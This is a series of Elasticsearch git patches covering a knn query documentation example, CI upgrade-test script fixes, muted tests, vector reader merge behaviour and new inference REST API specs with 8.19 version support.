From bd8db375487d745ddd4d66a857c5962353d5414f Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Fri, 27 Jun 2025 08:30:06 -0400
Subject: [PATCH 001/299] Add knn query vector builder example over a semantic
 text field to docs (#130135) (#130190)

---
 .../query-dsl/query-dsl-knn-query.md          | 33 +++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md b/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
index d5cb9a9ea3fe2..ed2969c38ad6e 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
@@ -229,6 +229,39 @@ A sample query can look like below:
 
 Note that nested `knn` only supports `score_mode=max`.
 
+## Knn query on a semantic_text field [knn-query-with-semantic-text]
+
+Elasticsearch supports knn queries over a [
+`semantic_text` field](/reference/elasticsearch/mapping-reference/semantic-text.md).
+
+Here is an example using the `query_vector_builder`:
+
+```json
+{
+  "query": {
+    "knn": {
+      "field": "inference_field",
+      "k": 10,
+      "num_candidates": 100,
+      "query_vector_builder": {
+        "text_embedding": {
+          "model_text": "test"
+        }
+      }
+    }
+  },
+  "_source": {
+    "exclude": "inference_field.inference.chunks"
+  }
+}
+```
+
+Note that for `semantic_text` fields, the `model_id` does not have to be
+provided as it can be inferred from the `semantic_text` field mapping.
+
+Knn search using query vectors over `semantic_text` fields is also supported,
+with no change to the API.
+
 ## Knn query with aggregations [knn-query-aggregations]
 
 `knn` query calculates aggregations on top `k` documents from each shard. Thus, the final results from aggregations contain `k * number_of_shards` documents. This is different from the [top level knn section](docs-content://solutions/search/vector/knn.md) where aggregations are calculated on the global top `k` nearest documents.

From 9fbd9462d94f4e646e338604d732d9528ee9a6f9 Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Fri, 27 Jun 2025 08:50:53 -0400
Subject: [PATCH 002/299] Fix typo (#130195) (#130200)

---
 .../reference/query-languages/query-dsl/query-dsl-knn-query.md | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md b/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
index ed2969c38ad6e..ab2dd232eaf50 100644
--- a/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
+++ b/docs/reference/query-languages/query-dsl/query-dsl-knn-query.md
@@ -249,9 +249,6 @@ Here is an example using the `query_vector_builder`:
         }
       }
     }
-  },
-  "_source": {
-    "exclude": "inference_field.inference.chunks"
   }
 }
 ```

From cf1c7ec6bf07e3ed72d2aa151b97fd41283cb6d2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Fri, 27 Jun 2025 15:02:38 +0200
Subject: [PATCH 003/299] [CI] Correct the way merge base is identified
 (#130175) (#130180)

Without fetching, the local repository might be missing reference to the
base branch, causing git merge-base to fail.
---
 .buildkite/scripts/run-pr-upgrade-tests.sh | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.buildkite/scripts/run-pr-upgrade-tests.sh b/.buildkite/scripts/run-pr-upgrade-tests.sh
index 1cbfdfc99152c..14e659c08ee90 100644
--- a/.buildkite/scripts/run-pr-upgrade-tests.sh
+++ b/.buildkite/scripts/run-pr-upgrade-tests.sh
@@ -18,7 +18,8 @@ fi
 
 # Identify the merge base of the current commit (branch) and the base branch of the pull request.
 # PR upgrade tests are run from the merge base to the current commit.
-BASE_COMMIT=$(git merge-base $BUILDKITE_PULL_REQUEST_BASE_BRANCH $BUILDKITE_COMMIT)
+git fetch origin $BUILDKITE_PULL_REQUEST_BASE_BRANCH
+BASE_COMMIT=$(git merge-base origin/$BUILDKITE_PULL_REQUEST_BASE_BRANCH $BUILDKITE_COMMIT)
 
 VERSION=$(sed -n 's/^elasticsearch[[:space:]]*=[[:space:]]*\(.*\)/\1/p' build-tools-internal/version.properties)
 

From 316508f4f156783510143744316969946d20006e Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Fri, 27 Jun 2025 15:55:00 +0200
Subject: [PATCH 004/299] Fix EsqlActionIT.testGroupingStatsOnMissingFields in
 release tests (#130177) (#130183)

---
 .../java/org/elasticsearch/xpack/esql/action/EsqlActionIT.java   | 1 +
 1 file changed, 1 insertion(+)

diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionIT.java
index 488c90f77d3e4..1a5068fd38fcc 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/EsqlActionIT.java
@@ -1680,6 +1680,7 @@ public void testQueryOnEmptyDataIndex() {
     }
 
     public void testGroupingStatsOnMissingFields() {
+        assumeTrue("Pragmas are only allowed in snapshots", Build.current().isSnapshot());
         assertAcked(client().admin().indices().prepareCreate("missing_field_index").setMapping("data", "type=long"));
         long oneValue = between(1, 1000);
         indexDoc("missing_field_index", "1", "data", oneValue);

From 34d2830854bda5abf798f6169d20ba8d160424f9 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Fri, 27 Jun 2025 23:57:14 +1000
Subject: [PATCH 005/299] Mute
 org.elasticsearch.compute.operator.topn.TopNOperatorTests
 testSimpleWithCranky #130215

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 54ae87714d58e..8137e99ffc5ce 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -574,6 +574,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
   method: test
   issue: https://github.com/elastic/elasticsearch/issues/130067
+- class: org.elasticsearch.compute.operator.topn.TopNOperatorTests
+  method: testSimpleWithCranky
+  issue: https://github.com/elastic/elasticsearch/issues/130215
 
 # Examples:
 #

From 791c7efbc4a6ca442acd5745153157e2bdebf1b4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Fri, 27 Jun 2025 16:22:01 +0200
Subject: [PATCH 006/299] Do not run BC upgrade tests when no manifest found
 (#130167) (#130169)

Fix the problem when curl/jq command returns "null" for no snapshots
found.
---
 .buildkite/scripts/run-bc-upgrade-tests.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.buildkite/scripts/run-bc-upgrade-tests.sh b/.buildkite/scripts/run-bc-upgrade-tests.sh
index 1bcf1ca074e39..3e9469c38a8b9 100755
--- a/.buildkite/scripts/run-bc-upgrade-tests.sh
+++ b/.buildkite/scripts/run-bc-upgrade-tests.sh
@@ -24,7 +24,7 @@ select(.active_release == true) |
 (.build_candidates | to_entries | sort_by(.value.completed_at))) |
 last | .value.manifest_url")"
 
-if [[ -z "$MANIFEST_URL" ]]; then
+if [[ -z "$MANIFEST_URL" ]] || [[ "$MANIFEST_URL" == "null" ]]; then
    echo "No snapshots or build candidates for branch [$BUILDKITE_BRANCH]."
    echo "Skipping BC upgrade tests."
    exit 0

From 6e2bc780fbf6c58e1032b9dad875230c05e2a5da Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20FOUCRET?= <aurelien.foucret@gmail.com>
Date: Fri, 27 Jun 2025 16:42:36 +0200
Subject: [PATCH 007/299] [ES|QL] Fix mapping for the colors & dense vector CSV
 datasets (failing bwc tests) (#130090) (#130164)

(cherry picked from commit e2dfd5d70700bf47639ed7cfb1c1710a0a83558b)

# Conflicts:
#	muted-tests.yml
---
 muted-tests.yml                                            | 2 --
 .../qa/testFixtures/src/main/resources/mapping-colors.json | 4 +++-
 .../src/main/resources/mapping-dense_vector.json           | 7 ++++++-
 3 files changed, 9 insertions(+), 4 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 8137e99ffc5ce..9a0edd46e77b5 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -561,8 +561,6 @@ tests:
 - class: org.elasticsearch.xpack.inference.qa.mixed.CohereServiceMixedIT
   method: testCohereEmbeddings
   issue: https://github.com/elastic/elasticsearch/issues/130010
-- class: org.elasticsearch.xpack.esql.qa.mixed.MixedClusterEsqlSpecIT
-  issue: https://github.com/elastic/elasticsearch/issues/128224
 - class: org.elasticsearch.cluster.metadata.ComposableIndexTemplateTests
   method: testMergeEmptyMappingsIntoTemplateWithNonEmptySettings
   issue: https://github.com/elastic/elasticsearch/issues/130050
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-colors.json b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-colors.json
index 24c4102e428f8..0d7373e300267 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-colors.json
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-colors.json
@@ -13,7 +13,9 @@
       "type": "dense_vector",
       "similarity": "l2_norm",
       "index_options": {
-        "type": "hnsw"
+        "type": "hnsw",
+        "m": 16,
+        "ef_construction": 100
       }
     }
   }
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-dense_vector.json b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-dense_vector.json
index 572d9870d09da..9c7d34f0f15e4 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-dense_vector.json
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mapping-dense_vector.json
@@ -5,7 +5,12 @@
     },
     "vector": {
       "type": "dense_vector",
-      "similarity": "l2_norm"
+      "similarity": "l2_norm",
+      "index_options": {
+        "type": "hnsw",
+        "m": 16,
+        "ef_construction": 100
+      }
     }
   }
 }

From d9d5d1be47005f4865721542a3acb74a073cd2f9 Mon Sep 17 00:00:00 2001
From: Jim Ferenczi <jim.ferenczi@elastic.co>
Date: Fri, 27 Jun 2025 17:29:34 +0100
Subject: [PATCH 008/299] Fix ES818BinaryQuantizedVectorsReader to not use
 directIO during merge (#130114) (#130165)

This commit fixes the BBQ reader to **not** use directIO when merging the original float vectors.
---
 .../ES818BinaryQuantizedVectorsReader.java    | 21 +++++++++-
 .../vectors/es818/MergeReaderWrapper.java     |  5 +++
 ...S818BinaryQuantizedVectorsFormatTests.java | 40 +++++++++++++++++++
 3 files changed, 65 insertions(+), 1 deletion(-)

diff --git a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsReader.java b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsReader.java
index dd3e59be26460..6de775c4773b5 100644
--- a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsReader.java
+++ b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsReader.java
@@ -65,7 +65,7 @@ public class ES818BinaryQuantizedVectorsReader extends FlatVectorsReader impleme
 
     private static final long SHALLOW_SIZE = RamUsageEstimator.shallowSizeOfInstance(ES818BinaryQuantizedVectorsReader.class);
 
-    private final Map<String, FieldEntry> fields = new HashMap<>();
+    private final Map<String, FieldEntry> fields;
     private final IndexInput quantizedVectorData;
     private final FlatVectorsReader rawVectorsReader;
     private final ES818BinaryFlatVectorsScorer vectorScorer;
@@ -77,6 +77,7 @@ public class ES818BinaryQuantizedVectorsReader extends FlatVectorsReader impleme
         ES818BinaryFlatVectorsScorer vectorsScorer
     ) throws IOException {
         super(vectorsScorer);
+        this.fields = new HashMap<>();
         this.vectorScorer = vectorsScorer;
         this.rawVectorsReader = rawVectorsReader;
         int versionMeta = -1;
@@ -120,6 +121,24 @@ public class ES818BinaryQuantizedVectorsReader extends FlatVectorsReader impleme
         }
     }
 
+    private ES818BinaryQuantizedVectorsReader(ES818BinaryQuantizedVectorsReader clone, FlatVectorsReader rawVectorsReader) {
+        super(clone.vectorScorer);
+        this.rawVectorsReader = rawVectorsReader;
+        this.vectorScorer = clone.vectorScorer;
+        this.quantizedVectorData = clone.quantizedVectorData;
+        this.fields = clone.fields;
+    }
+
+    // For testing
+    FlatVectorsReader getRawVectorsReader() {
+        return rawVectorsReader;
+    }
+
+    @Override
+    public FlatVectorsReader getMergeInstance() {
+        return new ES818BinaryQuantizedVectorsReader(this, rawVectorsReader.getMergeInstance());
+    }
+
     private void readFields(ChecksumIndexInput meta, FieldInfos infos) throws IOException {
         for (int fieldNumber = meta.readInt(); fieldNumber != -1; fieldNumber = meta.readInt()) {
             FieldInfo info = infos.fieldInfo(fieldNumber);
diff --git a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/MergeReaderWrapper.java b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/MergeReaderWrapper.java
index 4d9d7e03848c8..e74b0aad12723 100644
--- a/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/MergeReaderWrapper.java
+++ b/server/src/main/java/org/elasticsearch/index/codec/vectors/es818/MergeReaderWrapper.java
@@ -36,6 +36,11 @@ protected MergeReaderWrapper(FlatVectorsReader mainReader, FlatVectorsReader mer
         this.mergeReader = mergeReader;
     }
 
+    // For testing
+    FlatVectorsReader getMainReader() {
+        return mainReader;
+    }
+
     @Override
     public RandomVectorScorer getRandomVectorScorer(String field, float[] target) throws IOException {
         return mainReader.getRandomVectorScorer(field, target);
diff --git a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
index 9a20b56d80ba4..ce3f285bdf45d 100644
--- a/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
+++ b/server/src/test/java/org/elasticsearch/index/codec/vectors/es818/ES818BinaryQuantizedVectorsFormatTests.java
@@ -23,6 +23,7 @@
 import org.apache.lucene.codecs.FilterCodec;
 import org.apache.lucene.codecs.KnnVectorsFormat;
 import org.apache.lucene.codecs.KnnVectorsReader;
+import org.apache.lucene.codecs.lucene99.Lucene99FlatVectorsReader;
 import org.apache.lucene.codecs.perfield.PerFieldKnnVectorsFormat;
 import org.apache.lucene.document.Document;
 import org.apache.lucene.document.Field;
@@ -35,6 +36,7 @@
 import org.apache.lucene.index.IndexWriterConfig;
 import org.apache.lucene.index.KnnVectorValues;
 import org.apache.lucene.index.LeafReader;
+import org.apache.lucene.index.SegmentReader;
 import org.apache.lucene.index.SoftDeletesRetentionMergePolicy;
 import org.apache.lucene.index.Term;
 import org.apache.lucene.index.VectorSimilarityFunction;
@@ -83,6 +85,7 @@
 import static java.lang.String.format;
 import static org.apache.lucene.index.VectorSimilarityFunction.DOT_PRODUCT;
 import static org.apache.lucene.search.DocIdSetIterator.NO_MORE_DOCS;
+import static org.hamcrest.Matchers.instanceOf;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.oneOf;
 
@@ -309,6 +312,43 @@ public void testSimpleOffHeapSizeImpl(Directory dir, IndexWriterConfig config, b
         }
     }
 
+    public void testMergeInstance() throws IOException {
+        checkDirectIOSupported();
+        float[] vector = randomVector(10);
+        VectorSimilarityFunction similarityFunction = randomSimilarity();
+        KnnFloatVectorField knnField = new KnnFloatVectorField("field", vector, similarityFunction);
+        try (Directory dir = newFSDirectory()) {
+            try (IndexWriter w = new IndexWriter(dir, newIndexWriterConfig().setUseCompoundFile(false))) {
+                Document doc = new Document();
+                knnField.setVectorValue(randomVector(10));
+                doc.add(knnField);
+                w.addDocument(doc);
+                w.commit();
+
+                try (IndexReader reader = DirectoryReader.open(w)) {
+                    SegmentReader r = (SegmentReader) getOnlyLeafReader(reader);
+                    assertThat(unwrapRawVectorReader("field", r.getVectorReader()), instanceOf(DirectIOLucene99FlatVectorsReader.class));
+                    assertThat(
+                        unwrapRawVectorReader("field", r.getVectorReader().getMergeInstance()),
+                        instanceOf(Lucene99FlatVectorsReader.class)
+                    );
+                }
+            }
+        }
+    }
+
+    private static KnnVectorsReader unwrapRawVectorReader(String fieldName, KnnVectorsReader knnReader) {
+        if (knnReader instanceof PerFieldKnnVectorsFormat.FieldsReader perField) {
+            return unwrapRawVectorReader(fieldName, perField.getFieldReader(fieldName));
+        } else if (knnReader instanceof ES818BinaryQuantizedVectorsReader bbqReader) {
+            return unwrapRawVectorReader(fieldName, bbqReader.getRawVectorsReader());
+        } else if (knnReader instanceof MergeReaderWrapper mergeReaderWrapper) {
+            return unwrapRawVectorReader(fieldName, mergeReaderWrapper.getMainReader());
+        } else {
+            return knnReader;
+        }
+    }
+
     static Directory newMMapDirectory() throws IOException {
         Directory dir = new MMapDirectory(createTempDir("ES818BinaryQuantizedVectorsFormatTests"));
         if (random().nextBoolean()) {

From 10e2001ae96a7c5d2e2779052cd797e0cb683c9e Mon Sep 17 00:00:00 2001
From: Pat Whelan <pat.whelan@elastic.co>
Date: Fri, 27 Jun 2025 12:47:53 -0400
Subject: [PATCH 009/299] [ML] SageMaker and DeepSeek specs (#130211) (#130231)

---
 .../api/inference.put_amazonsagemaker.json    | 35 +++++++++++++++++++
 .../api/inference.put_deepseek.json           | 35 +++++++++++++++++++
 2 files changed, 70 insertions(+)
 create mode 100644 rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_amazonsagemaker.json
 create mode 100644 rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_deepseek.json

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_amazonsagemaker.json b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_amazonsagemaker.json
new file mode 100644
index 0000000000000..e2cdb3ad25cf8
--- /dev/null
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_amazonsagemaker.json
@@ -0,0 +1,35 @@
+{
+  "inference.put_amazonsagemaker": {
+    "documentation": {
+      "url": "https://www.elastic.co/guide/en/elasticsearch/reference/current/infer-service-amazon-sagemaker.html",
+      "description": "Configure a Amazon SageMaker inference endpoint"
+    },
+    "stability": "stable",
+    "visibility": "public",
+    "headers": {
+      "accept": ["application/json"],
+      "content_type": ["application/json"]
+    },
+    "url": {
+      "paths": [
+        {
+          "path": "/_inference/{task_type}/{amazonsagemaker_inference_id}",
+          "methods": ["PUT"],
+          "parts": {
+            "task_type": {
+              "type": "string",
+              "description": "The task type"
+            },
+            "amazonsagemaker_inference_id": {
+              "type": "string",
+              "description": "The inference Id"
+            }
+          }
+        }
+      ]
+    },
+    "body": {
+      "description": "The inference endpoint's task and service settings"
+    }
+  }
+}
diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_deepseek.json b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_deepseek.json
new file mode 100644
index 0000000000000..e30b6bb8a7e0b
--- /dev/null
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/inference.put_deepseek.json
@@ -0,0 +1,35 @@
+{
+  "inference.put_deepseek": {
+    "documentation": {
+      "url": "https://www.elastic.co/guide/en/elasticsearch/reference/current/infer-service-deepseek.html",
+      "description": "Configure a DeepSeek inference endpoint"
+    },
+    "stability": "stable",
+    "visibility": "public",
+    "headers": {
+      "accept": ["application/json"],
+      "content_type": ["application/json"]
+    },
+    "url": {
+      "paths": [
+        {
+          "path": "/_inference/{task_type}/{deepseek_inference_id}",
+          "methods": ["PUT"],
+          "parts": {
+            "task_type": {
+              "type": "string",
+              "description": "The task type"
+            },
+            "deepseek_inference_id": {
+              "type": "string",
+              "description": "The inference Id"
+            }
+          }
+        }
+      ]
+    },
+    "body": {
+      "description": "The inference endpoint's task and service settings"
+    }
+  }
+}

From b0d92733af9bbbab67b8871d782e8e7782fe0aab Mon Sep 17 00:00:00 2001
From: Pat Whelan <pat.whelan@elastic.co>
Date: Fri, 27 Jun 2025 12:55:42 -0400
Subject: [PATCH 010/299] [ML] Support 8.19 + 9.1 clusters for all new
 inference providers (#130033) (#130124)

Overriding version support to include the 8.19 patch version.
---
 .../embeddings/AmazonBedrockEmbeddingsTaskSettings.java    | 7 +++++++
 .../inference/services/custom/CustomSecretSettings.java    | 7 +++++++
 .../inference/services/custom/CustomServiceSettings.java   | 7 +++++++
 .../inference/services/custom/CustomTaskSettings.java      | 7 +++++++
 .../services/deepseek/DeepSeekChatCompletionModel.java     | 7 +++++++
 ...InferenceServiceDenseTextEmbeddingsServiceSettings.java | 7 +++++++
 .../ElasticInferenceServiceRerankServiceSettings.java      | 7 +++++++
 .../GoogleVertexAiChatCompletionServiceSettings.java       | 7 +++++++
 .../HuggingFaceChatCompletionServiceSettings.java          | 7 +++++++
 .../rerank/HuggingFaceRerankServiceSettings.java           | 7 +++++++
 .../huggingface/rerank/HuggingFaceRerankTaskSettings.java  | 7 +++++++
 .../completion/MistralChatCompletionServiceSettings.java   | 7 +++++++
 .../services/sagemaker/model/SageMakerServiceSettings.java | 7 +++++++
 .../services/sagemaker/model/SageMakerTaskSettings.java    | 7 +++++++
 .../sagemaker/schema/SageMakerStoredServiceSchema.java     | 7 +++++++
 .../sagemaker/schema/SageMakerStoredTaskSchema.java        | 7 +++++++
 .../schema/elastic/ElasticTextEmbeddingPayload.java        | 7 +++++++
 .../schema/elastic/SageMakerElasticTaskSettings.java       | 7 +++++++
 .../schema/openai/OpenAiTextEmbeddingPayload.java          | 7 +++++++
 .../schema/openai/SageMakerOpenAiTaskSettings.java         | 7 +++++++
 .../services/voyageai/VoyageAIServiceSettings.java         | 7 +++++++
 .../embeddings/VoyageAIEmbeddingsServiceSettings.java      | 7 +++++++
 .../embeddings/VoyageAIEmbeddingsTaskSettings.java         | 7 +++++++
 .../voyageai/rerank/VoyageAIRerankServiceSettings.java     | 7 +++++++
 .../voyageai/rerank/VoyageAIRerankTaskSettings.java        | 7 +++++++
 25 files changed, 175 insertions(+)

diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/amazonbedrock/embeddings/AmazonBedrockEmbeddingsTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/amazonbedrock/embeddings/AmazonBedrockEmbeddingsTaskSettings.java
index bb0a8a3348ada..ad06e669ff567 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/amazonbedrock/embeddings/AmazonBedrockEmbeddingsTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/amazonbedrock/embeddings/AmazonBedrockEmbeddingsTaskSettings.java
@@ -79,9 +79,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.AMAZON_BEDROCK_TASK_SETTINGS;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.AMAZON_BEDROCK_TASK_SETTINGS)
+            || version.isPatchFrom(TransportVersions.AMAZON_BEDROCK_TASK_SETTINGS_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeOptionalEnum(cohereTruncation());
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomSecretSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomSecretSettings.java
index ac6b7ab10c8b3..4c2ff22a5829a 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomSecretSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomSecretSettings.java
@@ -90,9 +90,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED)
+            || version.isPatchFrom(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeMap(secretParameters, StreamOutput::writeSecureString);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomServiceSettings.java
index 83048120bc545..931eb3b798553 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomServiceSettings.java
@@ -394,9 +394,16 @@ public ToXContentObject getFilteredXContentObject() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED)
+            || version.isPatchFrom(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         textEmbeddingSettings.writeTo(out);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomTaskSettings.java
index bb665cc196bdf..2d43e42781009 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomTaskSettings.java
@@ -100,9 +100,16 @@ public String getWriteableName() {
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED)
+            || version.isPatchFrom(TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeGenericMap(parameters);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/deepseek/DeepSeekChatCompletionModel.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/deepseek/DeepSeekChatCompletionModel.java
index 5e9a7e5f93a0b..06f21e19a6408 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/deepseek/DeepSeekChatCompletionModel.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/deepseek/DeepSeekChatCompletionModel.java
@@ -176,9 +176,16 @@ public String getWriteableName() {
 
         @Override
         public TransportVersion getMinimalSupportedVersion() {
+            assert false : "should never be called when supportsVersion is used";
             return TransportVersions.ML_INFERENCE_DEEPSEEK;
         }
 
+        @Override
+        public boolean supportsVersion(TransportVersion version) {
+            return version.onOrAfter(TransportVersions.ML_INFERENCE_DEEPSEEK)
+                || version.isPatchFrom(TransportVersions.ML_INFERENCE_DEEPSEEK_8_19);
+        }
+
         @Override
         public void writeTo(StreamOutput out) throws IOException {
             out.writeString(modelId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/densetextembeddings/ElasticInferenceServiceDenseTextEmbeddingsServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/densetextembeddings/ElasticInferenceServiceDenseTextEmbeddingsServiceSettings.java
index 5047f34a1b2e3..e8eeee5a34dd4 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/densetextembeddings/ElasticInferenceServiceDenseTextEmbeddingsServiceSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/densetextembeddings/ElasticInferenceServiceDenseTextEmbeddingsServiceSettings.java
@@ -205,9 +205,16 @@ public XContentBuilder toXContent(XContentBuilder builder, Params params) throws
 
     @Override
     public TransportVersion getMinimalSupportedVersion() {
+        assert false : "should never be called when supportsVersion is used";
         return TransportVersions.ML_INFERENCE_ELASTIC_DENSE_TEXT_EMBEDDINGS_ADDED;
     }
 
+    @Override
+    public boolean supportsVersion(TransportVersion version) {
+        return version.onOrAfter(TransportVersions.ML_INFERENCE_ELASTIC_DENSE_TEXT_EMBEDDINGS_ADDED)
+            || version.isPatchFrom(TransportVersions.ML_INFERENCE_ELASTIC_DENSE_TEXT_EMBEDDINGS_ADDED_8_19);
+    }
+
     @Override
     public void writeTo(StreamOutput out) throws IOException {
         out.writeString(modelId);
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/rerank/ElasticInferenceServiceRerankServiceSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/rerank/ElasticInferenceServiceRerankServiceSettings.java
index c20846c7fdfc2..eff22c2771930 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/elastic/rerank/ElasticInferenceServiceRerankServiceSettings.java
